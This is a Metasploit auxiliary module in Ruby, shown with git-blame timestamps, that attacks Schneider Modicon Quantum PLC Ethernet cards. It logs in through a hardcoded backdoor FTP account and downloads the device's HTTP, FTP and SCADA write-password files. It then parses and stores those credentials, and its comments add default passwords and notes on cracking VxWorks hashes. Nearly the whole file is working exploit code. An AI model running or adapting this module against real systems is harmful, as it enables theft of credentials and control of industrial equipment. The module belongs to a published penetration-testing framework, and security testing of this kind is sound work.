2012-04-05 17:35:21 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-04-05 17:35:21 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Schneider Modicon Quantum Password Recovery',
|
|
|
|
'Description' => %q{
|
|
|
|
The Schneider Modicon Quantum series of Ethernet cards store usernames and
|
|
|
|
passwords for the system in files that may be retrieved via backdoor access.
|
|
|
|
|
|
|
|
This module is based on the original 'modiconpass.rb' Basecamp module from
|
|
|
|
DigitalBond.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
|
|
|
'todb' # Metasploit fixups
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate'=> 'Jan 19 2012'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
|
2014-01-19 23:20:20 +00:00
|
|
|
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'])
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
# Thinking this should be a standard alias for all aux
|
|
|
|
def ip
|
|
|
|
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_banner
|
|
|
|
banner == "220 FTP server ready.\r\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
# TODO: If the username and password is correct, but this /isn't/ a Modicon
|
|
|
|
# device, then we're going to end up storing HTTP credentials that are not
|
|
|
|
# correct. If there's a way to fingerprint the device, it should be done here.
|
|
|
|
def check
|
|
|
|
is_modicon = false
|
|
|
|
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
|
|
|
|
connect rescue nil
|
|
|
|
if sock
|
|
|
|
# It's a weak fingerprint, but it's something
|
|
|
|
is_modicon = check_banner()
|
|
|
|
disconnect
|
|
|
|
else
|
2014-01-19 23:20:20 +00:00
|
|
|
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
|
|
|
|
return Exploit::CheckCode::Unknown
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-01-19 23:20:20 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if is_modicon
|
2014-01-19 23:20:20 +00:00
|
|
|
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
|
|
|
|
return Exploit::CheckCode::Detected
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2014-01-19 23:20:20 +00:00
|
|
|
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-01-19 23:20:20 +00:00
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2014-01-19 23:20:20 +00:00
|
|
|
if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
|
|
|
|
print_status("Service detected.")
|
|
|
|
grab() if setup_ftp_connection()
|
|
|
|
else
|
|
|
|
grab() if setup_ftp_connection()
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-09-04 18:43:15 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
last_attempted_at: Time.now,
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
|
|
proof: opts[:proof]
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def setup_ftp_connection
|
|
|
|
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
2015-09-04 18:43:15 +00:00
|
|
|
conn = connect_login
|
|
|
|
if conn
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
2015-09-04 18:43:15 +00:00
|
|
|
report_cred(
|
|
|
|
ip: ip,
|
|
|
|
port: rport,
|
|
|
|
user: user,
|
|
|
|
password: pass,
|
|
|
|
service_name: 'modicon',
|
|
|
|
proof: "connect_login: #{conn}"
|
2013-08-30 21:28:54 +00:00
|
|
|
)
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
print_status("#{ip}:#{rport} - FTP - Login failed")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup
|
|
|
|
disconnect rescue nil
|
|
|
|
data_disconnect rescue nil
|
|
|
|
end
|
|
|
|
|
|
|
|
# Echo the Net::FTP implementation
|
|
|
|
def ftp_gettextfile(fname)
|
|
|
|
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
|
|
|
|
data_connect("A")
|
|
|
|
res = send_cmd_data(["GET", fname.to_s], nil, "A")
|
|
|
|
end
|
|
|
|
|
|
|
|
def grab
|
|
|
|
logins = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ["Service", "User Name", "Password"]
|
|
|
|
)
|
|
|
|
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
|
|
|
|
if httpcreds
|
|
|
|
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
|
|
|
|
else
|
|
|
|
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
|
|
|
|
end
|
|
|
|
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
|
|
|
|
if ftpcreds
|
|
|
|
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
|
|
|
|
else
|
|
|
|
print_error "#{ip}:#{rport} - FTP - password retrieval error"
|
|
|
|
end
|
|
|
|
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
|
|
|
|
if writecreds
|
|
|
|
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
|
|
|
|
else
|
|
|
|
print_error "#{ip}:#{rport} - FTP - Write password error"
|
|
|
|
end
|
|
|
|
if httpcreds
|
|
|
|
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
|
|
|
|
httppass = httpcreds[1].split(/[\r\n]+/)[1]
|
|
|
|
else
|
|
|
|
# Usual defaults
|
|
|
|
httpuser = "USER"
|
|
|
|
httppass = "USER"
|
|
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
|
|
|
|
logins << ["http", httpuser, httppass]
|
|
|
|
report_auth_info(
|
|
|
|
:host => ip,
|
|
|
|
:port => 80,
|
|
|
|
:sname => "http",
|
|
|
|
:user => httpuser,
|
|
|
|
:pass => httppass,
|
|
|
|
:active => true
|
|
|
|
)
|
|
|
|
logins << ["scada-write", "", writecreds[1]]
|
|
|
|
if writecreds # This is like an enable password, used after HTTP authentication.
|
|
|
|
report_note(
|
|
|
|
:host => ip,
|
|
|
|
:port => 80,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:sname => 'http',
|
|
|
|
:ntype => 'scada.modicon.write-password',
|
|
|
|
:data => writecreds[1]
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
if ftpcreds
|
|
|
|
# TODO:
|
|
|
|
# Can we add a nicer dictionary? Revershing the hash
|
|
|
|
# using Metasploit's existing loginDefaultencrypt dictionary yields
|
|
|
|
# plaintexts that contain non-ascii characters for some hashes.
|
|
|
|
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
|
|
|
|
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
|
|
|
|
# and it can be done in just a few lines of ruby.
|
|
|
|
# See https://github.com/cvonkleist/vxworks_hash
|
|
|
|
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
|
|
|
|
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
|
|
|
|
else
|
|
|
|
modicon_ftpuser = "USER"
|
|
|
|
modicon_ftppass = "USERUSER" #from the manual. Verified.
|
|
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
|
|
|
|
# The collected hash is not directly reusable, so it shouldn't be an
|
|
|
|
# auth credential in the Cred sense. TheLightCosine should fix some day.
|
|
|
|
# Can be used for telnet as well if telnet is enabled.
|
|
|
|
report_note(
|
|
|
|
:host => ip,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:sname => 'ftp',
|
|
|
|
:ntype => 'scada.modicon.ftp-password',
|
|
|
|
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
|
|
|
|
)
|
|
|
|
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
|
|
|
|
|
|
|
|
# Not this:
|
|
|
|
# report_auth_info(
|
|
|
|
# :host => ip,
|
|
|
|
# :port => rport,
|
|
|
|
# :proto => 'tcp',
|
|
|
|
# :sname => 'ftp',
|
|
|
|
# :user => modicon_ftpuser,
|
|
|
|
# :pass => modicon_ftppass,
|
|
|
|
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
|
|
|
|
# :active => true
|
|
|
|
# )
|
|
|
|
print_line logins.to_s
|
|
|
|
end
|
2012-04-05 17:35:21 +00:00
|
|
|
|
|
|
|
end
|